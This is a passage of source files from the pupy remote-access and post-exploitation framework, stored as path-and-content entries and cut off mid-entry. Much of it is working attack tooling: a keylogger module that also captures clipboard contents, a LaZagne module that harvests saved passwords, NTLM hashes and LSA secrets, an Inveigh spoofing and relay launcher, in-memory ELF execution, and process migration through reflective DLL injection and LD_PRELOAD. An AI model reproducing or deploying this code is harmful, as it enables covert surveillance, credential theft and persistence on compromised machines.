    "path": "pupy/modules/inveigh.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib import ROOT\n\n__class_name__=\"Inveigh\"\n\n@config(compat=\"windows\", category=\"privesc\")\nclass Inveigh(PupyModule):\n    \"\"\"\n        execute Inveigh commands\n    \"\"\"\n    dependencies = {\n        'windows': ['powershell']\n    }\n\n    known_args = True\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog=\"Inveigh\", description=cls.__doc__\n        )\n\n        commands = cls.arg_parser.add_subparsers(title='actions')\n        start = commands.add_parser('start', help='Start Inveigh')\n        subtype = start.add_mutually_exclusive_group()\n        subtype.add_argument('-R', '--relay', action='store_true', default=False, help='Start relay')\n        start.set_defaults(command='start')\n        dump = commands.add_parser('get', help='Get Inveigh results')\n        dump.set_defaults(command='dump')\n        stop = commands.add_parser('stop', help='Stop Inveigh')\n        stop.set_defaults(command='stop')\n        info = commands.add_parser('help', help='Get help page from Invoke-Inveigh')\n        info.set_defaults(command='help')\n        info.add_argument('-R', '--relay', action='store_true', default=False, help='Help about relay')\n\n    def run(self, args):\n        pscall = self.client.remote('powershell', 'call')\n        psload = self.client.remote('powershell', 'load')\n        psloaded = self.client.remote('powershell', 'loaded', False)\n        psunload = self.client.remote('powershell', 'unload', False)\n\n        script = 'inveigh'\n        loaded = True\n\n        if not psloaded(script):\n            loaded = False\n            if args.command in ('dump', 'stop'):\n                self.error('Module is not loaded yet')\n                return\n\n            script_file = 'Inveigh-Relay.ps1' if args.relay else 'Inveigh.ps1'\n\n            with open(os.path.join(ROOT, 'external', 'Inveigh', 'Scripts', script_file)) as content:\n                width, _ = self.iogroup.consize\n                content = content.read()\n                if args.relay:\n                    content = content.replace('Invoke-InveighRelay', 'Invoke-Inveigh')\n\n                psload(script, content, width=width)\n\n        if args.command == 'start':\n            expression = 'Invoke-Inveigh ' + ' '.join(args.unknown_args)\n        elif args.command == 'dump':\n            expression = 'Get-Inveigh ' + ' '.join(args.unknown_args)\n        elif args.command == 'stop':\n            expression = 'Stop-Inveigh'\n        elif args.command == 'help':\n            expression = 'help Invoke-Inveigh ' + ' '.join(args.unknown_args)\n\n        output, rest = pscall(script, expression)\n        if args.command == 'stop' or (args.command == 'help' and not loaded):\n            psunload(script)\n\n        if rest:\n            self.warning(rest)\n\n        if output:\n            self.log(output)\n"
  },
  {
    "path": "pupy/modules/ip.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color, Line, Table\n\nfrom pupy.network.lib.compat import as_native_string\n\nimport logging\n\n__class_name__ = 'IPModule'\n\n\n@config(cat=\"admin\")\nclass IPModule(PupyModule):\n    \"\"\" list interfaces \"\"\"\n\n    dependencies = ['pupyps']\n    is_module=False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='ip', description=cls.__doc__\n        )\n\n        cls.arg_parser.add_argument(\n            'iface', nargs='*', help='show only these interfaces'\n        )\n\n    def run(self, args):\n        try:\n            interfaces = self.client.remote('pupyps', 'interfaces')\n            families = {\n                int(k): as_native_string(v) for k, v in self.client.remote_const(\n                    'pupyps', 'families'\n                ).items()\n            }\n\n            data = interfaces()\n            families = {\n                int(x): as_native_string(y) for x, y in families.items()\n            }\n\n            objects = []\n\n            for addr, addresses in data['addrs'].items():\n                if args.iface and addr not in args.iface:\n                    continue\n\n                color = ''\n                if 'stats' in data and data['stats']:\n                    if addr in data['stats'] and not data['stats'][addr].get('isup'):\n                        color = 'darkgrey'\n                    elif not any([families[x.get('family')] == 'INET' for x in addresses]):\n                        color = 'grey'\n                else:\n                    color = 'white'\n\n                record = {}\n                record['K'] = Color(addr, color or 'cyan')\n\n                first = True\n\n                for address in addresses:\n                    if first:\n                        first = False\n                    else:\n                        record = {}\n                        record['K'] = ''\n\n                    record['F'] = Color(families[address.get('family')], color)\n                    V = Color(address.get('address', '').split('%')[0], color or 'yellow')\n\n                    if address.get('netmask') != 'None':\n                        V = Line(V, Color(address.get('netmask'), color))\n                        V.dm = '/'\n\n                    if address.get('broadcast') != 'None':\n                        V = Line(V, Color('brd '+address.get('broadcast'), color))\n\n                    record['V'] = Line(V)\n\n                    objects.append(record)\n\n            self.log(Table(objects, ['K', 'F', 'V'], legend=False))\n\n        except Exception as e:\n            logging.exception(e)\n"
  },
  {
    "path": "pupy/modules/isearch.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table, TruncateToTerm\nfrom argparse import REMAINDER\n\nfrom datetime import datetime\n\nif sys.version_info.major > 2:\n    xrange = range\n\n__class_name__='IndexSearchModule'\n\n\n# ZOMG Kill me please\ndef escape(x):\n    if \"'\" in x:\n        x = x.replace(\"'\", \"\")\n\n    return \"'\" + x + \"'\"\n\n\n@config(cat='gather', compat='windows')\nclass IndexSearchModule(PupyModule):\n    ''' Use Windows Search Index to search for data '''\n\n    dependencies = [\n        'win32com', 'win32api', 'winerror',\n        'numbers', 'decimal', 'adodbapi', 'isearch'\n    ]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='isearch', description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-L', '--limit', type=int, help='Limit records (default 50)',\n            default=50)\n        cls.arg_parser.add_argument('-v', '--verbose', action='store_true',\n                                    default=False, help='Show SQL query')\n        cls.arg_parser.add_argument('-t', '--text', help='Text to search')\n        cls.arg_parser.add_argument('-p', '--path', help='Path to search')\n        cls.arg_parser.add_argument('-d', '--directory', help='Directory to limit output')\n        cls.arg_parser.add_argument(\n            '-R', '--raw', metavar='SELECT ... FROM SYSTEMINDEX ...',\n            nargs=REMAINDER, help='RAW SQL Query to search '\\\n            '(https://docs.microsoft.com/en-us/windows/'\\\n            'desktop/search/-search-3x-advancedquerysyntax)')\n\n    def run(self, args):\n        query = self.client.remote('isearch', 'query')\n\n        request = []\n        if args.raw:\n            request = args.raw\n        else:\n            request.append('SELECT TOP {} System.ItemUrl, System.Size, System.DateModified FROM SYSTEMINDEX'.format(args.limit))\n            where = []\n            if args.text:\n                where.append('FREETEXT({})'.format(escape(args.text)))\n            if args.directory:\n                where.append('SCOPE={}'.format(escape('file:'+args.directory)))\n            if args.path:\n                where.append('CONTAINS(System.FileName, {})'.format(escape(args.path)))\n\n            if where:\n                request.append('WHERE')\n                request.append('AND'.join(where))\n\n            request.append('ORDER BY System.DateModified DESC')\n\n        if not request:\n            self.error('You should specify request')\n            return\n\n        text = ' '.join(request)\n\n        if args.verbose:\n            self.info('QUERY: {}'.format(text))\n\n        idx, cidx, data, error = query(text, args.limit)\n        if error:\n            self.error(error)\n        elif not data:\n            self.warning('No data found')\n        else:\n            objects = []\n            header = []\n            legend = True\n\n            if args.raw:\n                legend = False\n                for record in data:\n                    objects.append({\n                        str(idx):v for idx,v in enumerate(record)\n                    })\n                header = [\n                    str(x) for x in xrange(cidx+1)\n                ]\n            else:\n                header = ['File', 'Size', 'Modified']\n                for record in data:\n                    objects.append({\n                        'File': record[0][5:] if record[0].startswith('file:') else record[0],\n                        'Size': record[1],\n                        'Modified': datetime.fromtimestamp(record[2])\n                    })\n\n            self.log(TruncateToTerm(Table(objects, header, legend=legend)))\n"
  },
  {
    "path": "pupy/modules/keylogger.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.network.lib.convcompat import as_unicode_string\n\nfrom io import open\n\nKEYLOGGER_EVENT = 0x11000001\n\n__class_name__ = 'KeyloggerModule'\n__events__ = {\n    KEYLOGGER_EVENT: 'keylogger'\n}\n\n\n@config(cat=\"gather\", compat=[\"linux\", \"darwin\", \"windows\"])\nclass KeyloggerModule(PupyModule):\n    \"\"\"\n        A keylogger to monitor all keyboards interaction including the clipboard :-)\n        The clipboard is also monitored and the dump includes the window name in which the keys are beeing typed\n    \"\"\"\n\n    unique_instance = True\n    dependencies = {\n        'windows': ['pupwinutils.keylogger', 'pupwinutils.hookfuncs'],\n        'linux': ['keylogger'],\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='keylogger', description=cls.__doc__)\n        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])\n\n    def stop_daemon(self):\n        self.success(\"keylogger stopped\")\n\n    def run(self, args):\n\n        if args.action==\"start\":\n            if self.client.is_windows():\n                keylogger_start = self.client.remote('pupwinutils.keylogger', 'keylogger_start', False)\n                if not keylogger_start(KEYLOGGER_EVENT):\n                    self.error(\"the keylogger is already started\")\n                else:\n                    self.success(\"keylogger started !\")\n\n            elif self.client.is_linux():\n                keylogger_start = self.client.remote('keylogger', 'keylogger_start', False)\n\n                r = keylogger_start(KEYLOGGER_EVENT)\n                if r == 'no_x11':\n                    self.error(\"the keylogger does not work without x11 graphical interface\")\n                elif not r:\n                    self.error(\"the keylogger is already started\")\n                else:\n                    self.success(\"keylogger started !\")\n\n            # for Mac OS\n            elif self.client.is_darwin():\n                keylogger_start = self.client.remote('keylogger', 'keylogger_start', False)\n\n                r = keylogger_start(KEYLOGGER_EVENT)\n                if r == 'running':\n                    self.error(\"the keylogger is already started\")\n                elif not r:\n                    self.error(\"the keylogger cannot be launched\")\n                else:\n                    self.success(\"keylogger started !\")\n\n        elif args.action==\"dump\":\n            if self.client.is_windows():\n                keylogger_dump = self.client.remote('pupwinutils.keylogger', 'keylogger_dump')\n            else:\n                keylogger_dump = self.client.remote('keylogger', 'keylogger_dump')\n\n            data = keylogger_dump()\n\n            if data is None:\n                self.error(\"keylogger not started\")\n\n            elif not data:\n                self.warning(\"no keystrokes recorded\")\n\n            else:\n                filepath = self.config.get_file('keystrokes', {'%c': self.client.short_name()})\n\n                self.success(\"dumping recorded keystrokes in %s\"%filepath)\n                self.log(data)\n\n                with open(filepath, 'w') as f:\n                    f.write(as_unicode_string(data))\n\n        elif args.action==\"stop\":\n            if self.client.is_windows():\n                keylogger_stop = self.client.remote('pupwinutils.keylogger', 'keylogger_stop')\n            else:\n                keylogger_stop = self.client.remote('keylogger', 'keylogger_stop')\n\n            data = keylogger_stop()\n\n            if data:\n                self.log(data)\n\n            self.success(\"keylogger stopped\")\n"
  },
  {
    "path": "pupy/modules/last.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color\nfrom datetime import datetime, timedelta\n\nimport logging\n\n__class_name__=\"LastModule\"\n\n@config(cat='admin', compat=['linux', 'windows'])\nclass LastModule(PupyModule):\n    \"\"\" list terminal sessions \"\"\"\n\n    dependencies = {\n        'linux': ['pupyps'],\n        'windows': ['readlogs', 'pupwinutils.security']\n    }\n\n    is_module=False\n\n    @classmethod\n    def init_argparse(cls):\n        arg_parser = PupyArgumentParser(prog=\"last\", description=cls.__doc__)\n        duration = arg_parser.add_mutually_exclusive_group()\n        duration.add_argument('-n', '--lines', type=int, help='Get only (n) last records')\n        duration.add_argument('-d', '--days', type=int, help='Get only records for last (n) days')\n        filtering = arg_parser.add_mutually_exclusive_group()\n        filtering.add_argument('-x', '--exclude', nargs='+', help='Hide users/hosts/ips')\n        filtering.add_argument('-i', '--include', nargs='+', help='Show users/hosts/ips')\n        cls.arg_parser = arg_parser\n\n    def run(self, args):\n        try:\n            wtmp = None\n\n            is_windows = False\n\n            if self.client.is_windows():\n                wtmp = self.client.remote('readlogs', 'lastlog')\n                is_windows = True\n            else:\n                wtmp = self.client.remote('pupyps', 'wtmp')\n\n            data = wtmp()\n\n            now = data['now']\n            output = []\n\n            for record in data['records']:\n                if args.days and (record['start'] + args.days*24*60*60 < now):\n                    break\n\n                if args.exclude and any([x in args.exclude for x in record.values()]):\n                    continue\n\n                if args.include and not any([x in args.include for x in record.values()]):\n                    continue\n\n                if not is_windows and record['type'] not in ('boot', 'process'):\n                    continue\n\n                color = ''\n                if record['end'] == -1:\n                    if record['user'] == 'root':\n                        color = 'lightred'\n                    elif record['duration'] < 60*60:\n                        color = 'lightgreen'\n                    elif record['duration'] > 7*24*60*60:\n                        color = 'cyan'\n                elif record['user'] == 'root':\n                    color = 'yellow'\n                elif record['end'] > 24*60*60:\n                    color = 'grey'\n                elif record['end'] > 7*24*60*60:\n                    color = 'darkgrey'\n\n                if record['type'] == 'boot':\n                    color = 'yellow'\n\n                record['start'] = datetime.fromtimestamp(record['start'])\n                record['end'] = datetime.fromtimestamp(\n                    record['end']\n                ) if record['end'] is not None and record['end'] != -1 else 'logged in'\n                record['duration'] = timedelta(seconds=int(record['duration']))\n                record['ip'] = '' if record['ip'] == '0.0.0.0' else record['ip']\n\n                if record['type'] == 'boot' and record['end'] == 'logged in':\n                    record['end'] = 'up'\n\n                for f in record:\n                    if record[f]:\n                        record[f] = Color(str(record[f]), color)\n\n                output.append(record)\n\n                if args.lines and len(output) >= args.lines:\n                    break\n\n            columns = [\n                x for x in [\n                    'user', 'line', 'pid', 'host', 'ip', 'start', 'end', 'duration'\n                ] if any((x in y and y[x]) for y in output)\n            ]\n\n            self.table(output, columns)\n\n        except Exception as e:\n            logging.exception(e)\n"
  },
  {
    "path": "pupy/modules/lazagne.py",
    "content": "# -*- coding: utf-8 -*-\n# Author: AlessandroZ\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color, NewLine, Section, Hex\nfrom pupy.pupylib.utils.credentials import Credentials\nfrom pupy.pupylib.utils.rpyc_utils import obtain\n\nfrom pupy.network.lib.convcompat import as_unicode_string_deep, is_binary\n\nimport codecs\nimport ntpath\nimport traceback\n\n__class_name__ = 'LaZagne'\n\n\n@config(cat=\"creds\", compat=[\"linux\", \"windows\"])\nclass LaZagne(PupyModule):\n    \"\"\"\n        retrieve passwords stored on the target\n    \"\"\"\n\n    dependencies = {\n        'all': [\n            'whole', 'sqlite3', 'xml', 'calendar',\n            'ConfigParser', 'lazagne', 'pyasn1'\n        ],\n        'linux': [\n            'secretstorage', 'crypt'\n        ],\n        'windows': [\n            'sqlite3.dll', 'pypykatz'\n        ],\n    }\n\n    FILTER = ''.join([\n        (len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)\n    ])\n\n    TYPESMAP = {\n        'password': 'plaintext',\n        'hash': 'hash',\n        'key': 'key',\n        'cmd': 'cmd',\n        'defaultpassword': 'lsa'\n    }\n\n    NON_TABLE = set([\n        'Ssh', 'Secretstorage', 'Libsecret', 'Cli', 'Credman'\n    ])\n\n    FILTER_COLUMNS = set([\n        'CredType', 'Category', 'SavePassword'\n    ])\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='lazagne', description=cls.__doc__\n        )\n\n        cls.arg_parser.add_argument(\n            '-p', '--password', help='Specify user password (windows only)'\n        )\n\n        cls.arg_parser.add_argument(\n            '-d', '--debug', default=False, action='store_true',\n            help='Redirect debug prints'\n        )\n\n        cls.arg_parser.add_argument(\n            'category', nargs='?', help='specify category', default='all'\n        )\n\n    def run(self, args):\n        write_output = None\n        print_debug = None\n\n        try:\n            if args.debug:\n                write_output = self.client.remote(\n                    'lazagne.config.write_output')\n\n                print_debug = write_output.print_debug\n\n                def _log(level, message):\n                    message = str(message).strip()\n                    self.log('{} | {}'.format(level, message.strip()))\n\n                write_output.print_debug = _log\n\n            self._run(args)\n\n        finally:\n            if write_output and print_debug:\n                write_output.print_debug = print_debug\n\n    def _run(self, args):\n        db = Credentials(client=self.client, config=self.config)\n\n        whole = self.client.remote('whole', 'to_strings_list', False)\n        runLaZagne = self.client.remote(\n            'lazagne.config.run', 'run_lazagne', False)\n\n        first_user = True\n        passwordsFound = False\n\n        kwargs = {\n            'raise_on_exception': False,\n        }\n\n        if args.category:\n            kwargs['category_selected'] = args.category\n\n        if args.password and self.client.is_windows():\n            kwargs['password'] = args.password\n\n        results = obtain(whole(runLaZagne, **kwargs))\n\n        for r in results:\n            r = as_unicode_string_deep(r, fail=False)\n\n            if r[0] == 'User':\n                if not passwordsFound and not first_user:\n                    self.warning('no passwords found !')\n\n                first_user = False\n                passwordsFound = False\n                user = r[1]\n\n                self.log(Section('User: ' + user))\n\n            elif r[2]:\n                passwordsFound = True\n                try:\n                    self.print_results(r[0], r[1], r[2], db)\n                except Exception as e:\n                    self.error(\n                        '{}: {}: {}'.format(r[1], e, traceback.format_exc())\n                    )\n\n        if not passwordsFound:\n            self.warning('no passwords found !')\n\n    def hashdump_to_dict(self, creds):\n        results = []\n\n        for cred in creds:\n            for pwd in cred:\n                try:\n                    user, rid, lm, nt, _, _, _ = pwd.split(':')\n                    results.append({\n                        'Category': 'hashdump',\n                        'CredType': 'hash',\n                        'Login': user,\n                        'Hash': '%s:%s' % (str(lm), str(nt))\n                    })\n                except Exception:\n                    pass\n\n        return results\n\n    def cachedump_to_dict(self, creds):\n        results = []\n\n        for cred in creds:\n            for pwd in cred[0]:\n                try:\n                    user, d, dn, h = pwd.split(':')\n                    results.append({\n                        'Category': 'cachedump',\n                        'CredType': 'hash',\n                        'Login': user,\n                        'Hash': '%s:%s:%s:%s' % (\n                            user.lower(), h.encode('hex'),\n                            d.lower(), dn.lower()\n                        )\n                    })\n                except Exception:\n                    pass\n\n        return results\n\n    def credfiles_to_dict(self, creds):\n        for cred in creds:\n            filename = cred['File']\n            parts = ntpath.abspath(filename).split('\\\\')\n            # Common format\n            if len(parts) == 8 and parts[1].lower() == 'users' and \\\n                    parts[3].lower() == 'appdata':\n                filename = u'{}:{}'.format(parts[2], parts[-1])\n                cred['File'] = filename\n\n            for field in ('Username', 'Domain', 'Password'):\n                cred[field] = cred[field].strip('\\x00')\n\n                if is_binary(cred[field]):\n                    cred[field] = Hex(cred[field])\n\n            if cred['Domain'].startswith('Domain:'):\n                cred['Domain'] = cred['Domain'][7:]\n\n            cred.update({\n                'CredType': 'plaintext',\n                'Category': 'Credfiles'\n            })\n\n        return creds\n\n    def creds_to_dict(self, creds, module):\n        try:\n            if module.lower() == 'hashdump':\n                return self.hashdump_to_dict(creds)\n            elif module.lower() == 'cachedump':\n                return self.cachedump_to_dict(creds)\n            elif module.lower() == 'credfiles':\n                return self.credfiles_to_dict(creds)\n        except Exception:\n            traceback.print_exc()\n            return []\n\n        results = []\n\n        if type(creds) == str:\n            raise Exception(creds)\n\n        for cred in creds:\n            if isinstance(cred, dict):\n                result = {\n                    'Category': module\n                }\n\n                for c in cred:\n                    result[c] = cred[c].strip()\n\n                    for t, name in self.TYPESMAP.items():\n                        if t in set([x.lower() for x in result]):\n                            result['CredType'] = name\n\n                    if not result.get('CredType'):\n                        result['CredType'] = 'empty'\n\n                    results.append(result)\n\n        return results\n\n    def prepare_fields(self, items, remove=[]):\n        if not items:\n            return [], []\n\n        data = [\n            {\n                k: v for k, v in item.items() if k not in remove\n            } for item in items\n        ]\n\n        columns = set()\n        for item in items:\n            for column in item:\n                if column not in remove:\n                    columns.add(column)\n\n        return data, columns\n\n    def filter_same(self, creds):\n        return [\n            dict(t) for t in frozenset([\n                tuple(d.items()) for d in creds\n            ])\n        ]\n\n    def print_lsa(self, creds):\n        for idx, cred in enumerate(creds):\n            for name, value in cred.items():\n                if name in ('Category', 'CredType'):\n                    continue\n\n                if idx:\n                    self.log(NewLine(lines=0))\n\n                self.log(name)\n                self.log(Hex(value))\n\n    def print_results(self, success, module, creds, db):\n        if not success:\n            self.error(str(creds))\n            return\n\n        if not creds or all(not cred for cred in creds):\n            return\n\n        self.log(Section('Module: ' + module, level=1))\n\n        creds = self.filter_same(\n            self.creds_to_dict(creds, module)\n        )\n\n        if module.lower() == 'lsa_secrets':\n            self.print_lsa(creds)\n        else:\n            if module not in self.NON_TABLE:\n                self.table(\n                    *self.prepare_fields(\n                        creds, remove=self.FILTER_COLUMNS))\n            else:\n                for cred in creds:\n                    self.table(\n                        [\n                            {\n                                'KEY': k, 'VALUE': Hex(v)\n                                if is_binary(v) else v\n                            } for k, v in cred.items()\n                            if k not in self.FILTER_COLUMNS\n                        ], [\n                            'KEY', 'VALUE'\n                        ],\n                        truncate=True, legend=False, vspace=1\n                    )\n\n        try:\n            db.add(creds)\n        except Exception:\n            self.error(traceback.format_exc())\n\n        self.log(NewLine(lines=0))\n"
  },
  {
    "path": "pupy/modules/lib/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom datetime import datetime\n\nimport sys\n\n\ndef size_human_readable(num, suffix=''):\n    try:\n        num = int(num)\n        for unit in [suffix or 'B','K','M','G','T','P','E','Z']:\n            if abs(num) < 1024.0:\n                return \"%3.1f%s%s\" % (num, unit, suffix)\n            num /= 1024.0\n        return \"%.1f%s%s\" % (num, 'Yi', suffix)\n    except:\n        return '0.0B'\n\n\ndef file_timestamp(timestamp, time=False):\n    try:\n        d = datetime.fromtimestamp(timestamp)\n        if time:\n            return str(d.strftime('%d/%m/%y %H:%M:%S'))\n        else:\n            return str(d.strftime('%d/%m/%y'))\n    except:\n        return '00/00/00'\n"
  },
  {
    "path": "pupy/modules/lib/linux/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/modules/lib/linux/exec_elf.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom io import open\n\nimport zlib\nimport threading\n\nfrom pupy.modules.lib.utils.cmdrepl import CmdRepl\n\ndef mexec(module, path, argv, argv0=None, interactive=False, raw=False, codepage=None):\n    data = zlib.compress(path if raw else open(path, 'rb').read())\n\n    MExec = module.client.remote('memexec', 'MExec', False)\n\n    module.mp = MExec(\n        data, argv0, args = argv,\n        no_stdin = not interactive,\n        no_stdor = not interactive,\n        redirect_stdio = interactive,\n        compressed = True,\n        terminate = interactive\n    )\n\n    complete = threading.Event()\n\n    if interactive:\n        repl, _ = CmdRepl.thread(\n            module.stdout,\n            module.mp.write,\n            complete,\n            False, None,\n            codepage\n        )\n\n        module.client.conn.register_remote_cleanup(\n            module.mp.close\n        )\n\n        if module.mp.execute(complete.set, repl._con_write):\n            complete.wait()\n            module.mp.close()\n\n            module.client.conn.unregister_remote_cleanup(\n                module.mp.close\n            )\n\n            module.success('Process exited. Press ENTER')\n        else:\n            complete.set()\n            module.error('Launch failed. Press ENTER')\n\n    else:\n        if module.mp.run():\n            module.success('Process started: {}'.format(module.mp.pid))\n        else:\n            module.error('Launch failed')\n"
  },
  {
    "path": "pupy/modules/lib/linux/migrate.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.cli import pupygen\nimport time\nimport gzip\n\nfrom io import open\nimport sys\n\nif sys.version_info.major > 2:\n    xrange = range\n    from io import BytesIO\nelse:\n    from StringIO import StringIO as BytesIO\n\n\ndef has_proc_migrated(client, pid):\n    for c in client.pupsrv.clients:\n        if all([\n            True for x in c.desc if x in [\n                \"hostname\",\n                \"platform\",\n                \"release\",\n                \"version\",\n                \"macaddr\"\n            ] and client.desc[x]==c.desc[x]\n        ]):\n            if int(c.desc[\"pid\"])==pid:\n                return c\n    return None\n\n\ndef get_payload(module, compressed=True, debug=False, from_payload=None):\n    dllbuff = None\n    if from_payload:\n        with open(from_payload, 'rb') as payload:\n            dllbuff = payload.read()\n\n        module.success('Precompiled payload: {}'.format(from_payload))\n    else:\n        conf = module.client.get_conf()\n        dllbuff, _, _ = pupygen.generate_binary_from_template(\n            module.log,\n            conf, module.client.target, shared=True\n        )\n\n    if not compressed:\n        return dllbuff\n\n    dllgzbuf = BytesIO()\n    gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)\n    gzf.write(dllbuff)\n    gzf.close()\n\n    return dllgzbuf.getvalue()\n\n\ndef wait_connect(module, pid, timeout=10):\n    module.success(\"waiting for a connection from the DLL ...\")\n    for x in xrange(timeout):\n        c = has_proc_migrated(module.client, pid)\n        if c:\n            module.success(\"got a connection from migrated DLL !\")\n            c.pupsrv.move_id(c, module.client)\n            time.sleep(0.5)\n            try:\n                module.success(\"exiting old connection\")\n                module.client.conn.exit()\n                module.success(\"exited old connection\")\n            except Exception:\n                pass\n\n            break\n\n        time.sleep(1)\n\n\ndef ld_preload(module, command, wait_thread=False, keep=False, debug=False, from_payload=None):\n    payload = get_payload(module, debug, from_payload=from_payload)\n\n    pid = module.client.conn.modules['pupy.agent'].ld_preload_inject_dll(\n        command, payload, wait_thread\n    )\n\n    if pid == -1:\n        module.error('Inject failed')\n        return\n    else:\n        module.success('Process created: {}'.format(pid))\n\n    if not keep:\n        wait_connect(module, pid)\n\n    module.success(\"migration completed\")\n\n\ndef migrate(module, pid, keep=False, timeout=10, debug=False, from_payload=None):\n    payload = get_payload(module, debug, from_payload=from_payload)\n\n    r = module.client.conn.modules['pupy.agent'].reflective_inject_dll(\n        pid, payload\n    )\n\n    if r:\n        module.success(\"DLL injected !\")\n    else:\n        module.error(\"Injection failed !\")\n        return\n\n    if not keep:\n        wait_connect(module, pid, timeout=timeout)\n\n    module.success(\"migration completed\")\n"
  },
  {
    "path": "pupy/modules/lib/utils/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/modules/lib/utils/cmdrepl.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom threading import Thread\nfrom cmd import Cmd\n\nclass CmdRepl(Cmd):\n    def __init__(self, stdout, write_cb, completion, CRLF=False, interpreter=None, codepage=None):\n        self._write_cb = write_cb\n        self._complete = completion\n        self._codepage = None # codepage\n        self.prompt = '\\r'\n        self._crlf = (b'\\r\\n' if CRLF else b'\\n')\n        self._interpreter = interpreter\n        self._setting_prompt = False\n        self._last_cmd = None\n        Cmd.__init__(self, stdout=stdout)\n\n    @staticmethod\n    def thread(*args, **kwargs):\n        repl = CmdRepl(*args, **kwargs)\n        repl.set_prompt()\n\n        repl_thread = Thread(target=repl.cmdloop)\n        repl_thread.daemon = True\n        repl_thread.start()\n\n        return repl, repl_thread\n\n    def _con_write(self, data):\n        if self._setting_prompt:\n            if self.prompt in data:\n                self._setting_prompt = False\n            return\n\n        if not self._complete.is_set():\n            if self._codepage:\n                data = data.decode(self._codepage, errors='replace')\n\n            self.stdout.write(data)\n            self.stdout.flush()\n            if b'\\n' in data:\n                self.prompt = data.decode('utf8').rsplit('\\n', 1)[-1]\n            else:\n                self.prompt += data.decode('utf8')\n\n    def do_EOF(self, line):\n        return True\n\n    def do_help(self, line):\n        self.default(b' '.join([b'help', line]))\n\n    def completenames(self):\n        return []\n\n    def precmd(self, line):\n        if self._complete.is_set():\n            return 'EOF'\n        else:\n            return line\n\n    def postcmd(self, stop, line):\n        if stop or self._complete.is_set():\n            return True\n\n    def emptyline(self):\n        pass\n\n    def default(self, line):\n        if self._codepage:\n            line = line.decode('utf-8').encode(self._codepage)\n        line=line.encode('utf8')\n\n        self._write_cb(line + self._crlf)\n        self.prompt = ''\n\n    def postloop(self):\n        self._complete.set()\n\n    def set_prompt(self, prompt='# '):\n        methods = {\n            'cmd.exe': [b'set PROMPT='+(prompt.encode('utf8'))],\n            'sh': [b'export PS1=\"'+(prompt.encode('utf8'))+b'\"']\n        }\n\n        method = methods.get(self._interpreter, None)\n        if method:\n            self._setting_prompt = True\n            self.prompt = prompt\n            self._write_cb(self._crlf.join(method) + self._crlf)\n"
  },
  {
    "path": "pupy/modules/lib/utils/download.py",
